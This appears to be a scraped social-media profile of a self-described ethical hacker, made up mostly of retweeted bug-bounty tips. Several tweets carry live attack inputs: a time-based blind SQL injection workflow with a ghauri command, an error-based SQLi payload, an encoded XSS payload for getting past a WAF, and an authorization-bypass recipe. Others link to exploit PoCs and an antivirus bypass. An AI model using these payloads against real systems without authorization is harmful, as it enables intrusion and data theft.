Infosec| Hackfluencer |⚫⚪ #EthicalHacker |Student ||
0.0.0.1
Joined March 2020
- Tweets627
- Following421
- Followers278
- Likes3.6K
Pinned Tweet
1. How did you got into hacking
2. Who inspired you
3. Who helped you to become a hacker
4. Who is your favourite hacker
5. What is your best advice for beginners
**Extra : Pic of your pc setup **
#infosec #cybersecurity
@johnjhacking @JacksonHHax @RealOGAnonymous
Joseph Nimsara retweeted
VulnBot — LLM-driven multi-agent framework that autonomously replicates human penetration testing workflows, orchestrating Kali Linux tooling and RAG knowledge retrieval for security assessments. ktp.sh/g7qa8T8BwA
Joseph Nimsara retweeted
Introducing CVE-2026-106378: Chrome GPU Sandbox Escape to full Remote Command Execution using synthetic keyboard injection
By combining it with common GPU bugs, it becomes a full chain. Binance DevOps was most likely pwnd with a zeroday chain affecting the browser 😬
Joseph Nimsara retweeted
Exploit Development 101
0xf00sec.github.io/0x20
TLDR: learn and write exploits that target specific vulnerabilities.
Joseph Nimsara retweeted
CVE-2024-29269: Remote Code Execution PoC
Credit: youtube.com/@FusionSecurity.…
Joseph Nimsara retweeted
1- Fuzzed a JS file, found some endpoints—only one responded.
2- Tried IDOR, no response. Added ', noticed an anomaly.
3- Sent a blind SQLi payload—got 504 & 1 min timeout.
4- Used time-based SQLi to verify—yes, it worked! But the timeout made exploitation hard.
5- Tried OOB to get RCE, but it didn’t work because the current user lacked permission.
6- SQLMap didn’t work at times, but Ghauri did! ghauri -r Request.txt --technique=T --time-sec=5. Use * in Request.txt for injection points (even tricky ones)
Two SQLi today with @jusxing
0. a public program on H1
1. watching companies asset daily
2. new asset, 404 status code
3. fuzz, an endpoint has found
4. generic time baed payload
happy hacking
Joseph Nimsara retweeted
Sql Injection #Payload Add to your List
%6c%75%33%6b%79%31%33' AND 1=CAST((SELECT version()) AS int) --
#bugbountytips #bugbounty #hackerone #SqlInjection #sqli
Joseph Nimsara retweeted
Ever explored HTTP request smuggling? 🕵️♂️
Our huntr @1nt3rc3pt0r discovered a vuln in Gunicorn where improper validation of the 'Transfer-Encoding' header leads to request smuggling. Can you spot similar issues in other HTTP servers? 👉 hubs.ly/Q02Jr1zN0
Joseph Nimsara retweeted
ChatGPT - XSS Lab:
Having trouble learning some vulnerability class?
Just have ChatGPT make you a lab!
Details in thread 🧵👇
Joseph Nimsara retweeted
1/1
Bypass Authorization Login into the Admin panel
1 download appe.exe and install it for windows
2 capture requests i used fiddler
3 update your profile the app sends a request to the server via the admin account i don't know why
#bugbountytips #BugBounty
Joseph Nimsara retweeted
Bypass Windows Defender with Embedded Python - No Install Required reddit.com/r/redteamsec/comm… #redteamsec
Joseph Nimsara retweeted
XSS bypass payload:
x"><svg%250donload%3D"window%5B%27alert%27%5D(location[%27hostname%27])"
Tip: Obfuscation almost always works to bypass WAFs (this target was behind Akamai WAF)
#bugbountytip #bugbounty
Joseph Nimsara retweeted
📌Docker Images for Penetration Testing & Security
• docker pull kalilinux/kali-linux-docker official Kali Linux
• docker pull owasp/zap2docker-stable - official OWASP ZAP
• docker pull wpscanteam/wpscan - official WPScan
🧵👇
#Pentesting #infosec #cybersecuritytips
